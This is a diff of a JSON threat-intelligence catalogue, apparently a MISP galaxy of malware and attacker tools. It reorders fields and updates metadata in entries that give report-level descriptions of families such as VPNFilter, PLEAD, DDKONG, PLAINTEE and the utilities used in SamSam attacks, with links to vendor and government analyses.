+ "uuid": "db36cf9a-5391-11e8-b53a-97adedf48055",
+ "value": "Escad"
+ },
+ {
+ "description": "A new in-development screenlocker/wiper called StalinLocker, or StalinScreamer, was discovered by MalwareHunterTeam that gives you 10 minutes to enter a code or it will try to delete the contents of the drives on the computer. While running, it will display screen that shows Stalin while playing the USSR anthem and displaying a countdown until files are deleted.",
"meta": {
"refs": [
"https://www.bleepingcomputer.com/news/security/stalinlocker-deletes-your-files-unless-you-enter-the-right-code/"
@@ -4228,11 +4238,11 @@
"StalinScreamer"
]
},
- "description": "A new in-development screenlocker/wiper called StalinLocker, or StalinScreamer, was discovered by MalwareHunterTeam that gives you 10 minutes to enter a code or it will try to delete the contents of the drives on the computer. While running, it will display screen that shows Stalin while playing the USSR anthem and displaying a countdown until files are deleted.",
- "value": "StalinLocker",
- "uuid": "50eb8c54-5828-11e8-8d6b-232bb9329fc0"
+ "uuid": "50eb8c54-5828-11e8-8d6b-232bb9329fc0",
+ "value": "StalinLocker"
},
{
+ "description": "Advanced, likely state-sponsored or state-affiliated modular malware. The code of this malware overlaps with versions of the BlackEnergy malware. Targeted devices are Linksys, MikroTik, NETGEAR and TP-Link networking equipment in the small and home office (SOHO) space, as well as QNAP network-attached storage (NAS) systems.",
"meta": {
"refs": [
"https://blog.talosintelligence.com/2018/05/VPNFilter.html",
@@ -4240,81 +4250,81 @@
"https://www.fortinet.com/blog/threat-research/defending-against-the-new-vpnfilter-botnet.html"
]
},
- "description": "Advanced, likely state-sponsored or state-affiliated modular malware. The code of this malware overlaps with versions of the BlackEnergy malware. Targeted devices are Linksys, MikroTik, NETGEAR and TP-Link networking equipment in the small and home office (SOHO) space, as well as QNAP network-attached storage (NAS) systems.",
- "value": "VPNFilter",
- "uuid": "895d769e-b288-4977-a4e1-7d64eb134bf9"
+ "uuid": "895d769e-b288-4977-a4e1-7d64eb134bf9",
+ "value": "VPNFilter"
},
{
+ "description": "Iron Backdoor uses a virtual machine detection code taken directly from HackingTeam’s Soldier implant leaked source code. Iron Backdoor is also using the DynamicCall module from HackingTeam core library. Backdoor was used to drop cryptocurrency miners.",
"meta": {
"refs": [
"https://www.intezer.com/iron-cybercrime-group-under-the-scope-2/"
]
},
"uuid": "1740ec4-d730-40d6-a3b8-32d5fe7f21cf",
- "value": "Iron Backdoor",
- "description": "Iron Backdoor uses a virtual machine detection code taken directly from HackingTeam’s Soldier implant leaked source code. Iron Backdoor is also using the DynamicCall module from HackingTeam core library. Backdoor was used to drop cryptocurrency miners."
+ "value": "Iron Backdoor"
},
{
+ "description": "Brambul malware is a malicious Windows 32-bit SMB worm that functions as a service dynamic link library file or a portable executable file often dropped and installed onto victims’ networks by dropper malware. When executed, the malware attempts to establish contact with victim systems and IP addresses on victims’ local subnets. If successful, the application attempts to gain unauthorized access via the SMB protocol (ports 139 and 445) by launching brute-force password attacks using a list of embedded passwords. Additionally, the malware generates random IP addresses for further attacks.",
"meta": {
"refs": [
"https://www.us-cert.gov/ncas/alerts/TA18-149A"
]
},
"uuid": "4c057ade-6989-11e8-9efd-ab33ed427468",
- "value": "Brambul",
- "description": "Brambul malware is a malicious Windows 32-bit SMB worm that functions as a service dynamic link library file or a portable executable file often dropped and installed onto victims’ networks by dropper malware. When executed, the malware attempts to establish contact with victim systems and IP addresses on victims’ local subnets. If successful, the application attempts to gain unauthorized access via the SMB protocol (ports 139 and 445) by launching brute-force password attacks using a list of embedded passwords. Additionally, the malware generates random IP addresses for further attacks."
+ "value": "Brambul"
},
{
+ "description": "PLEAD has two kinds – RAT (Remote Access Tool) and downloader. The RAT operates based on commands that are provided from C&C servers. On the other hand, PLEAD downloader downloads modules and runs it on memory in the same way as TSCookie does.",
"meta": {
"refs": [
"https://blog.jpcert.or.jp/2018/06/plead-downloader-used-by-blacktech.html"
]
},
"uuid": "d1482c9e-6af3-11e8-aa8e-279274bd10c7",
- "value": "PLEAD",
- "description": "PLEAD has two kinds – RAT (Remote Access Tool) and downloader. The RAT operates based on commands that are provided from C&C servers. On the other hand, PLEAD downloader downloads modules and runs it on memory in the same way as TSCookie does."
+ "value": "PLEAD"
},
{
+ "description": "The group behind BabaYaga —believed to be Russian-speaking hackers— uses this malware to inject sites with special keyboards to drive SEO traffic to hidden pages on compromised sites. These pages are then used to redirect users to affiliate marketing links, where if the user purchases advertised goods, the hackers also make a profit.\nThe malware per-se is comprised of two modules —one that injects the spam content inside the compromised sites, and a backdoor module that gives attackers control over an infected site at any time.\nThe intricacies of both modules are detailed in much more depth in this 26-page report authored by Defiant (formerly known as WordFence), the security firm which dissected the malware's more recent versions.\n\"[BabaYaga] is relatively well-written, and it demonstrates that the author has some understanding of software development challenges, like code deployment, performance and management,\" Defiant researchers say. \"It can also infect Joomla and Drupal sites, or even generic PHP sites, but it is most fully developed around Wordpress.\"",
"meta": {
"refs": [
"https://www.bleepingcomputer.com/news/security/lol-babayaga-wordpress-malware-updates-your-site/"
]
},
"uuid": "65c0dff4-6b23-11e8-899f-8fcb21ad9649",
- "value": "BabaYaga",
- "description": "The group behind BabaYaga —believed to be Russian-speaking hackers— uses this malware to inject sites with special keyboards to drive SEO traffic to hidden pages on compromised sites. These pages are then used to redirect users to affiliate marketing links, where if the user purchases advertised goods, the hackers also make a profit.\nThe malware per-se is comprised of two modules —one that injects the spam content inside the compromised sites, and a backdoor module that gives attackers control over an infected site at any time.\nThe intricacies of both modules are detailed in much more depth in this 26-page report authored by Defiant (formerly known as WordFence), the security firm which dissected the malware's more recent versions.\n\"[BabaYaga] is relatively well-written, and it demonstrates that the author has some understanding of software development challenges, like code deployment, performance and management,\" Defiant researchers say. \"It can also infect Joomla and Drupal sites, or even generic PHP sites, but it is most fully developed around Wordpress.\""
+ "value": "BabaYaga"
},
{
+ "description": "Except for the malware's binary file, very little is known of who's behind it, how it spreads, or in what types of campaigns has this been used.\n\n\"Our telemetry indicates that the malicious actors behind this malware have been active at least since 2013, yet the cyber-espionage tool was never analyzed nor detected until discovered by ESET products on compromised computers in Ukraine and Russia,\" said ESET researcher Zuzana Hromcová, who recently penned an in-depth report about this new threat.\n\n\"All infection vectors are possible, including installation facilitated by physical access to the machine,\" Hromcová added.\n\nTypical to malware used in highly-targeted attacks, the malware has been stripped of most clues that could lead researchers back to its author. With the exception of one file (dating to October 13, 2013), all compilation dates have been stripped and replaced with zeros, giving little clues regarding its timeline and lifespan.\n\nFurthermore, the malware is some clever piece of coding in itself, as it's comprised of two modules, both with their own set of spying features, but which can also help each other in exfiltrating data.",
"meta": {
"refs": [
"https://www.bleepingcomputer.com/news/security/invisimole-is-a-complex-spyware-that-can-take-pictures-and-record-audio/"
]
},
"uuid": "10f50ef8-6e3b-11e8-a648-d73fb4d2f48e",
- "value": "InvisiMole",
- "description": "Except for the malware's binary file, very little is known of who's behind it, how it spreads, or in what types of campaigns has this been used.\n\n\"Our telemetry indicates that the malicious actors behind this malware have been active at least since 2013, yet the cyber-espionage tool was never analyzed nor detected until discovered by ESET products on compromised computers in Ukraine and Russia,\" said ESET researcher Zuzana Hromcová, who recently penned an in-depth report about this new threat.\n\n\"All infection vectors are possible, including installation facilitated by physical access to the machine,\" Hromcová added.\n\nTypical to malware used in highly-targeted attacks, the malware has been stripped of most clues that could lead researchers back to its author. With the exception of one file (dating to October 13, 2013), all compilation dates have been stripped and replaced with zeros, giving little clues regarding its timeline and lifespan.\n\nFurthermore, the malware is some clever piece of coding in itself, as it's comprised of two modules, both with their own set of spying features, but which can also help each other in exfiltrating data."
+ "value": "InvisiMole"
},
{
+ "description": "Roaming Mantis malware is designed for distribution through a simple, but very efficient trick based on a technique known as DNS hijacking. When a user attempts to access any website via a compromised router, they will be redirected to a malicious website. For example, if a user were to navigate to www.securelist.com using a web browser, the browser would be redirected to a rogue server which has nothing to do with the security research blog. As long as the browser displays the original URL, users are likely to believe the website is genuine. The web page from the rogue server displays the popup message: To better experience the browsing, update to the latest chrome version.",
"meta": {
"refs": [
"https://securelist.com/roaming-mantis-uses-dns-hijacking-to-infect-android-smartphones/85178/"
]
},
"uuid": "f35f219a-6eed-11e8-980a-93bb96299951",
- "value": "Roaming Mantis",
- "description": "Roaming Mantis malware is designed for distribution through a simple, but very efficient trick based on a technique known as DNS hijacking. When a user attempts to access any website via a compromised router, they will be redirected to a malicious website. For example, if a user were to navigate to www.securelist.com using a web browser, the browser would be redirected to a rogue server which has nothing to do with the security research blog. As long as the browser displays the original URL, users are likely to believe the website is genuine. The web page from the rogue server displays the popup message: To better experience the browsing, update to the latest chrome version."
+ "value": "Roaming Mantis"
},
{
+ "description": "PLEAD is referred to both as a name of malware including TSCookie and its attack campaign. PLEAD has two kinds – RAT (Remote Access Tool) and downloader. The RAT operates based on commands that are provided from C&C servers. On the other hand, PLEAD downloader downloads modules and runs it on memory in the same way as TSCookie does.",
"meta": {
"refs": [
"https://blog.jpcert.or.jp/2018/06/plead-downloader-used-by-blacktech.html"
]
},
"uuid": "7cda6406-6eef-11e8-a2ad-9340096d5711",
- "value": "PLEAD Downloader",
- "description": "PLEAD is referred to both as a name of malware including TSCookie and its attack campaign. PLEAD has two kinds – RAT (Remote Access Tool) and downloader. The RAT operates based on commands that are provided from C&C servers. On the other hand, PLEAD downloader downloads modules and runs it on memory in the same way as TSCookie does."
+ "value": "PLEAD Downloader"
},
{
+ "description": "The malware's purpose is to intercept content recorded in the Windows clipboard, look for strings resembling Bitcoin and Ethereum addresses, and replace them with ones owned by the malware's authors. ClipboardWalletHijacker's end-plan is to hijack BTC and ETH transactions, so victims unwittingly send funds to the malware's authors.",
"meta": {
"refs": [
"https://www.bleepingcomputer.com/news/security/clipboard-hijacker-targeting-bitcoin-and-ethereum-users-infects-over-300-0000-pcs/",
@@ -4322,85 +4332,82 @@
]
},
"uuid": "9f926c84-72cb-11e8-a1f2-676d779700ba",
- "value": "ClipboardWalletHijacker",
- "description": "The malware's purpose is to intercept content recorded in the Windows clipboard, look for strings resembling Bitcoin and Ethereum addresses, and replace them with ones owned by the malware's authors. ClipboardWalletHijacker's end-plan is to hijack BTC and ETH transactions, so victims unwittingly send funds to the malware's authors."
+ "value": "ClipboardWalletHijacker"
},
{
+ "description": "Trojan malware",
"meta": {
"refs": [
"https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"
]
},
- "description": "Trojan malware",
- "value": "TYPEFRAME",
- "uuid": "8981aaca-72dc-11e8-8649-838c1b2613c5"
+ "uuid": "8981aaca-72dc-11e8-8649-838c1b2613c5",
+ "value": "TYPEFRAME"
},
{
+ "description": "The Winter Olympics this year is being held in Pyeongchang, South Korea. The Guardian, a UK Newspaper reported an article that suggested the Olympic computer systems suffered technical issues during the opening ceremony. Officials at the games confirmed some technical issues to non-critical systems and they completed recovery within around 12 hours. Sunday 11th February the Olympic games officials confirmed a cyber attack occurred but did not comment or speculate further.\nTalos have identified the samples, with moderate confidence, used in this attack. The infection vector is currently unknown as we continue to investigate. The samples identified, however, are not from adversaries looking for information from the games but instead they are aimed to disrupt the games. The samples analysed appear to perform only destructive functionality. There does not appear to be any exfiltration of data. Analysis shows that actors are again favouring legitimate pieces of software as PsExec functionality is identified within the sample. The destructive nature of this malware aims to render the machine unusable by deleting shadow copies, event logs and trying to use PsExec & WMI to further move through the environment. This is something we have witnessed previously with BadRabbit and Nyetya.",
"meta": {
"refs": [
"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html",
"https://www.bleepingcomputer.com/news/security/malware-that-hit-pyeongchang-olympics-deployed-in-new-attacks/"
]
},
- "description": "The Winter Olympics this year is being held in Pyeongchang, South Korea. The Guardian, a UK Newspaper reported an article that suggested the Olympic computer systems suffered technical issues during the opening ceremony. Officials at the games confirmed some technical issues to non-critical systems and they completed recovery within around 12 hours. Sunday 11th February the Olympic games officials confirmed a cyber attack occurred but did not comment or speculate further.\nTalos have identified the samples, with moderate confidence, used in this attack. The infection vector is currently unknown as we continue to investigate. The samples identified, however, are not from adversaries looking for information from the games but instead they are aimed to disrupt the games. The samples analysed appear to perform only destructive functionality. There does not appear to be any exfiltration of data. Analysis shows that actors are again favouring legitimate pieces of software as PsExec functionality is identified within the sample. The destructive nature of this malware aims to render the machine unusable by deleting shadow copies, event logs and trying to use PsExec & WMI to further move through the environment. This is something we have witnessed previously with BadRabbit and Nyetya.",
- "value": "Olympic Destroyer",
- "uuid": "76d5c7a2-73c3-11e8-bd92-db4d715af093"
+ "uuid": "76d5c7a2-73c3-11e8-bd92-db4d715af093",
+ "value": "Olympic Destroyer"
},
{
- "value": "DDKONG",
"description": "The malware in question is configured with the following three exported functions: ServiceMain,Rundll32Call, DllEntryPoint. The ServiceMain exported function indicates that this DLL is expected to be loaded as a service. If this function is successfully loaded, it will ultimately spawn a new instance of itself with the Rundll32Call export via a call to rundll32.exe. The Rundll32Call exported function begins by creating a named event named ‘RunOnce’. This event ensures that only a single instance of DDKong is executed at a given time. If this is the only instance of DDKong running at the time, the malware continues. If it’s not, it dies. This ensures that only a single instance of DDKong is executed at a given time. DDKong attempts to decode an embedded configuration using a single byte XOR key of 0xC3. After this configuration is decoded and parsed, DDKONG proceeds to send a beacon to the configured remote server via a raw TCP connection. The packet has a header of length 32 and an optional payload. In the beacon, no payload is provided, and as such, the length of this packet is set to zero. After it sends the beacon, the malware expects a response command of either 0x4 or 0x6. Both responses instruct the malware to download and load a remote plugin. In the event 0x4 is specified, the malware is instructed to load the exported ‘InitAction’ function. If 0x6 is specified, the malware is instructed to load the exported ‘KernelDllCmdAction’ function. Prior to downloading the plugin, the malware downloads a buffer that is concatenated with the embedded configuration and ultimately provided to the plugin at runtime. As we can see in the above text, two full file paths are included in this buffer, providing us with insight into the original malware family’s name, as well as the author. After this buffer is collected, the malware downloads the plugin and loads the appropriate function. This plugin provides the attacker with the ability to both list files and download/upload files on the victim machine.",
"meta": {
"refs": [
"https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
]
},
- "uuid": "57dd0828-79d7-11e8-a7d8-57db14e1ef24"
+ "uuid": "57dd0828-79d7-11e8-a7d8-57db14e1ef24",
+ "value": "DDKONG"
},
{
- "value": "PLAINTEE",
"description": "This sample is configured with three exported functions: Add, Sub, DllEntryPoint. The DLL expects the export named ‘Add’ to be used when initially loaded. When this function is executed PLAINTEE executes a command in a new process to add persistence. Next, the malware calls the ‘Sub’ function which begins by spawning a mutex named ‘microsoftfuckedupb’ to ensure only a single instance is running at a given time. In addition, PLAINTEE will create a unique GUID via a call to CoCreateGuid() to be used as an identifier for the victim. The malware then proceeds to collect general system enumeration data about the infected machine and enters a loop where it will decode an embedded config blob and send an initial beacon to the C2 server. The configuration blob is encoded using a simple single-byte XOR scheme. The first byte of the string is used as the XOR key to in turn decode the remainder of the data. The malware then proceeds to beacon to the configured port via a custom UDP protocol. The network traffic is encoded in a similar fashion, with a random byte being selected as the first byte, which is then used to decode the remainder of the packet via XOR. This beacon is continuously sent out until a valid response is obtained from the C2 server (there is no sleep timer set). After the initial beacon, there is a two second delay in between all other requests made. This response is expected to have a return command of 0x66660002 and to contain the same GUID that was sent to the C2 server. Once this response is received, the malware spawns several new threads, with different Command parameters, with the overall objective of loading and executing a new plugin that is to be received from the C2 server. During a file analysis of PLAINTEE in WildFire, we observed the attackers download and execute a plugin during the runtime for that sample. PLAINTEE expects the downloaded plugin to be a DLL with an export function of either ‘shell’ or ‘file’. The plugin uses the same network protocol as PLAINTEE and so we were able to trivially decode further commands that were sent. The following commands were observed: tasklist, ipconfig /all. The attacker performed these two commands 33 seconds apart. As automated commands are typically performed more quickly this indicates that they may have been sent manually by the attacker.",
"meta": {
"refs": [
"https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
]
},
- "uuid": "58b24db2-79d7-11e8-9b1b-bbdbc798af4f"
+ "uuid": "58b24db2-79d7-11e8-9b1b-bbdbc798af4f",
+ "value": "PLAINTEE"
},
{
+ "description": "Koadic, or COM Command & Control, is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire. The major difference is that Koadic does most of its operations using Windows Script Host",
"meta": {
"refs": [
"https://github.com/zerosum0x0/koadic",
"https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/"
]
},
- "description": "Koadic, or COM Command & Control, is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire. The major difference is that Koadic does most of its operations using Windows Script Host",
- "value": "Koadic",
- "uuid": "f9e0b922-253c-40fa-a6d2-e60ec9c6980b"
+ "uuid": "f9e0b922-253c-40fa-a6d2-e60ec9c6980b",
+ "value": "Koadic"
},
{
- "value": "Bisonal",
- "uuid": "23f6da78-873a-4ab0-9167-c8b0563627a5",
"description": "In early May, Unit 42 discovered an attack campaign against at least one defense company in Russia and one unidentified organization in South Korea delivering a variant of Bisonal malware. While not previously publicly documented, the variant has been in the wild since at least 2014. There are three primary differences between it and older Bisonal malware including a different cipher and encryption for C2 communication, and a large rewrite of the code for both network communication and maintaining persistence. To date, we have only collected 14 samples of this variant, indicating it may be sparingly used. The adversary behind these attacks lured the targets into launching the Microsoft Windows executable malware by masquerading it as a PDF file (using a fake PDF icon) and reusing publicly available data for the decoy PDF file’s contents. Attacks using Bisonal have been blogged about in the past. In 2013, both COSEINC and FireEye revealed attacks using Bisonal against Japanese organizations . In October 2017, AhnLab published a report called “Operation Bitter Biscuit,” an attack campaign against South Korea, Japan, India and Russia using Bisonal and its successors, Bioazih and Dexbia. ",
"meta": {
"refs": [
"https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/",
"https://camal.coseinc.com/publish/2013Bisonal.pdf"
]
- }
+ },
+ "uuid": "23f6da78-873a-4ab0-9167-c8b0563627a5",
+ "value": "Bisonal"
},
{
- "value": "Sekur",
- "uuid": "ddbd9db5-7875-437b-b7c5-a17d2892d218",
"description": "Sekur has been CARBON SPIDER’s primary tool for several years, although usage over the last year appears to have declined. It contains all the functionality you would expect from a RAT, allowing the adversary to execute commands, manage the file system, manage processes, and collect data. In addition, it can record videos of victim sessions, log keystrokes, enable remote desktop, or install Ammyy Admin or VNC modules. From July 2014 on, samples were compiled with the capability to target Epicor POS systems and to collect credit card data.",
"meta": {
"refs": [
"https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/"
]
- }
+ },
+ "uuid": "ddbd9db5-7875-437b-b7c5-a17d2892d218",
+ "value": "Sekur"
},
{
- "value": "Agent ORM",
- "uuid": "c1159097-3dad-48ab-91cf-c055182f5785",
"description": "Agent ORM began circulating alongside Skeur in campaigns throughout the second half of 2015. The malware collects basic system information and is able to take screenshots of victim systems. It is used to download next-stage payloads when systems of interest are identified. It is strongly suspected that Agent ORM has been deprecated in favor of script-based first-stage implants (VB Flash, JS Flash, and Bateleur).",
"meta": {
"refs": [
@@ -4410,11 +4417,11 @@
"Tosliph",
"DRIFTPIN"
]
- }
+ },
+ "uuid": "c1159097-3dad-48ab-91cf-c055182f5785",
+ "value": "Agent ORM"
},
{
- "value": "VB Flash",
- "uuid": "2815a353-cd56-4ed0-8581-812b94f7a326",
"description": "VB Flash was first observed being deployed alongside Agent ORM in September 2015. It is likely that this was developed as a replacement to Agent ORM and contained similar capabilities. The first observed instance of VB Flash included comments and was easy to analyze—later versions soon began to integrate multiple layers of obfuscation. Several versions of VB Flash were developed including ones that utilized Google Forms, Google Macros, and Google Spreadsheets together to make a command-and-control (C2) channel. This variant would POST victim data to a specified Google form, then make a request to a Google macro script, receiving an address for a Google Spreadsheet from which to request commands.",
"meta": {
"refs": [
@@ -4423,11 +4430,11 @@
"synonyms": [
"HALFBAKED"
]
- }
+ },
+ "uuid": "2815a353-cd56-4ed0-8581-812b94f7a326",
+ "value": "VB Flash"
},
{
- "value": "JS Flash",
- "uuid": "bf03a7ae-3c5e-47b9-84c6-27756297f1b5",
"description": "JS Flash capabilities closely resemble those of VB Flash and leverage interesting techniques in deployment via batch scripts embedded as OLE objects in malicious documents. Many iterations of JS Flash were observed being tested before deployment, containing minor changes to obfuscation and more complex additions, such as the ability to download TinyMet (a cutdown of the Metasploit Meterpreter payload). PowerShell was also used heavily for the execution of commands and arbitrary script execution. No JS Flash samples were observed being deployed after November 2017.",
"meta": {
"refs": [
@@ -4436,147 +4443,140 @@
"synonyms": [
"JavaScript variant of HALFBAKED"
]
- }
+ },
+ "uuid": "bf03a7ae-3c5e-47b9-84c6-27756297f1b5",
+ "value": "JS Flash"
},
{
- "value": "Bateleur",
- "uuid": "81faf0c1-0595-436b-a66a-05d8b435bccd",
"description": "Bateleur deployments began not long after JS Flash and were also written in JavaScript. Deployments were more infrequent and testing was not observed. It is likely that Bateleur was run in parallel as an alternative tool and eventually replaced JS Flash as CARBON SPIDER’s first stage tool of choice. Although much simpler in design than JS Flash, all executing out of a single script with more basic obfuscation, Bateleur has a wealth of capabilities—including the ability to download arbitrary scripts and executables, deploy TinyMet, execute commands via PowerShell, deploy a credential stealer, and collect victim system information such as screenshots.",
"meta": {
"refs": [
"https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/"
]
- }
+ },
+ "uuid": "81faf0c1-0595-436b-a66a-05d8b435bccd",
+ "value": "Bateleur"
},
{
- "value": "JexBoss",
"description": "A tool for testing and exploiting vulnerabilities in JBoss Application Servers.",
+ "meta": {
+ "refs": [
+ "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf"
+ ]
+ },
"uuid": "509fc49c-9bd8-11e8-ade9-af561325f046",
- "meta": {
- "refs": [
- "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf"
- ]
- }
+ "value": "JexBoss"
},
{
- "value": "reGeorg",
"description": "“Provides TCP tunneling over HTTP and bolts a SOCKS4/5 proxy on top of it, so, reGeorg is a fully-functional SOCKS proxy and gives ability to analyze target internal network.”",
+ "meta": {
+ "refs": [
+ "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf"
+ ]
+ },
"uuid": "2c62f08a-9bd9-11e8-9e20-db9ec0d2b277",
- "meta": {
- "refs": [
- "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf"
- ]
- }
+ "value": "reGeorg"
},
{
- "value": "Hyena",
"description": "An Active Directory and Windows system management software, which can be used for remote administration of servers and workstations.",
+ "meta": {
+ "refs": [
+ "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf"
+ ]
+ },
"uuid": "511d1000-9bd8-11e8-8477-8f5bcff04fb0",
- "meta": {
- "refs": [
- "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf"
- ]
- }
+ "value": "Hyena"
},
{
- "value": "csvde.exe",
"description": "Imports and exports data from Active Directory Lightweight Directory Services (AD LDS) using files that store data in the comma-separated value (CSV) format.",
+ "meta": {
+ "refs": [
+ "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf"
+ ]
+ },
"uuid": "521721a8-9bd8-11e8-b26e-efd4142476e4",
- "meta": {
- "refs": [
- "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf"
- ]
- }
+ "value": "csvde.exe"
},
{
- "value": "NLBrute",
"description": "A tool to brute-force Remote Desktop Protocol (RDP) passwords.",
+ "meta": {
+ "refs": [
+ "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf"
+ ]
+ },
"uuid": "49ebf3e4-9bda-11e8-b1c1-8bdbfc744293",
- "meta": {
- "refs": [
- "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf"
- ]
- }
+ "value": "NLBrute"
},
{
- "value": "xDedic RDP Patch",
"description": "Used to create new RDP user accounts.",
+ "meta": {
+ "refs": [
+ "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf"
+ ]
+ },
"uuid": "52be6512-9bd8-11e8-8bab-f7d8a88482ed",
- "meta": {
- "refs": [
- "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf"
- ]
- }
+ "value": "xDedic RDP Patch"
},
{
- "value": "xDedic SysScan",
"description": "Used to profile servers for potential sale on the dark net",
+ "meta": {
+ "refs": [
+ "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf"
+ ]
+ },
"uuid": "52dae6ce-9bd8-11e8-a230-7bca2e015ba5",
- "meta": {
- "refs": [
- "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf"
- ]
- }
+ "value": "xDedic SysScan"
},
{
- "value": "Wmiexec",
"description": "A PsExec-like tool, which executes commands through Windows Management Instrumentation (WMI).",
+ "meta": {
+ "refs": [
+ "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf"
+ ]
+ },
"uuid": "52f7f890-9bd8-11e8-a731-ab637e0833b4",
- "meta": {
- "refs": [
- "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf"
- ]
- }
+ "value": "Wmiexec"
},
{
- "value": "RDPWrap",
"description": "Allows a user to be logged in both locally and remotely at the same time.",
+ "meta": {
+ "refs": [
+ "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf"
+ ]
+ },
"uuid": "5316eb7e-9bd8-11e8-8587-eb328b3dd314",
- "meta": {
- "refs": [
- "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf"
- ]
- }
+ "value": "RDPWrap"
},
{
- "value": "PsExec",
"description": "A light-weight telnet-replacement that lets you execute processes on other systems, complete with full interactivity for console applications, without having to manually install client software. When a command is executed on a remote computer using PsExec, then the service PSEXESVC will be installed on that system, which means that an executable called psexesvc.exe will execute the commands.",
+ "meta": {
+ "refs": [
+ "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf"
+ ]
+ },
"uuid": "6dd05630-9bd8-11e8-a8b9-47ce338a4367",
- "meta": {
- "refs": [
- "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf"
- ]
- }
+ "value": "PsExec"
},
{
- "value": "PAExec",
"description": "A PsExec-like tool, which lets you launch Windows programs on remote Windows computers without needing to install software on the remote computer first. When the PAExec service is running on the remote computer, the name of the source system is added to service’s name, e.g., paexec--.exe, which can help to identify the entry point of the attack.",
- "uuid": "6e76f29c-9bd8-11e8-97ae-8f7b8be65f0c",
"meta": {
"refs": [
"https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf"
]
- }
+ },
+ "uuid": "6e76f29c-9bd8-11e8-97ae-8f7b8be65f0c",
+ "value": "PAExec"
},
{
- "value": "KEYMARBLE",
"description": "This Malware Analysis Report (MAR) is the result of analytic efforts between Department of Homeland Security (DHS) and the Federal Bureau of Investigation (FBI). Working with U.S. Government partners, DHS and FBI identified Trojan malware variants used by the North Korean government. This malware variant has been identified as KEYMARBLE. The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA. For more information on HIDDEN COBRA activity.",
- "uuid": "f7f53bb8-37ed-4bbe-9809-ca1594431536",
"meta": {
"refs": [
"https://www.us-cert.gov/ncas/analysis-reports/AR18-221A"
]
- }
+ },
+ "uuid": "f7f53bb8-37ed-4bbe-9809-ca1594431536",
+ "value": "KEYMARBLE"
}
],
- "authors": [
- "Alexandre Dulaunoy",
- "Florian Roth",
- "Timo Steffens",
- "Christophe Vandeplas",
- "Dennis Rand",
- "raw-data"
- ],
- "type": "tool",
- "name": "Tool"
+ "version": 83
}